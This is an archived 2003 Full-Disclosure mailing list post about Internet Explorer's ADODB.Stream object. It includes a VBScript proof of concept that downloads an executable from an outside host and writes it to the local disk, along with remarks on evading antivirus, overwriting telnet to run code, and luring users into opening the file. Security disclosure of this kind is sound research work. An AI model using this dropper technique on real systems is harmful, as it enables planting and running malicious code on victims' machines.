

[Full-Disclosure] ADODB.Stream object

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2003-08/1758.html>

From: jelmer (jkuperus_at_planet.nl)

Date: 08/26/03

To: full-disclosure@lists.netsys.com

Date: Tue, 26 Aug 2003 14:55:12 +0200

A few days microsoft patched an Internet Explorer Object Data Remote Execution Vulnerability found by EEYE, shortly after, HTTP-EQUIV posted some sample code on his website shortly followed by finjan (pimping their product) on bugtraq Both were kind of messy so I decided to write my own and thought I might be able to use the ADODB.Stream object to create the file on disk. unfortunately for some weird reason this didn't quite succeed and i settled on <http://ip3e83566f.speed.planet.nl/eeye.html> , it is rather slow but does the trick and changing the payload is done in a matter of seconds.

But anyway while playing with the ADODB.Stream object I did find that it allows writing / overwriting of files from within a simple html file when run from a location on your harddisk (and consequentially allowing execution of arbitrary code by for instance overwriting telnet and then all a telnet:// style URL)

this kind of behaviour is generally only allowed from within trusted containers, such as HTA's

Also it doesn't set off norton antivirus's script protection

here's the a code snippet that illustrates this, its been tested on IE6 on winXP :

```
<script language="vbscript">

const adTypeBinary = 1
const adSaveCreateOverwrite = 2
const adModeReadWrite = 3

set xmlHTTP = CreateObject("Microsoft.XMLHTTP")
xmlHTTP.open "GET", "http://ip3e83566f.speed.planet.nl/NOTEPAD.EXE",
false
xmlHTTP.send
contents = xmlHTTP.responseBody

Set oStr = CreateObject("ADODB.Stream")
```

Full-Disclosure: [Full-Disclosure] ADODB.Stream object

```
oStr.Mode = adModeReadWrite  
oStr.Type = adTypeBinary  
oStr.Open
```

```
oStr.Write(contents)  
oStr.SaveToFile "c:\\test.exe", adSaveCreateOverwrite
```

</script>

I dont think it in it self can not be conidered a security vulnerabilty as it only works when the file containing the code is present on a users harddisk, though html files are generally considered trusted and you can probably trick some people into opening an html file by sending it to them through msn messenger or whatever.

It can most likely be used to leverage other vulnerabilities, for instance many programs download information to predictable locations from where you might invoke it.

Now invoking it from the local disk has been somewhat of a problem since IE6 sp1 as it basicly disallows access to file:/// style URL's from the internet. however there are some (rather messy) workarounds, HTTP-EQUIV posted a way of circumventing this a while back using media player 8 also i found out a long time ago that calling local files from window shares is still very much allowed and you can link to html files placed on windows shares from the internet though this is rather cumbersome to set up, other hopefully easier ways will probably pop up.

Full-Disclosure – We believe in it.

Charter: <http://lists.netsys.com/full-disclosure-charter.html>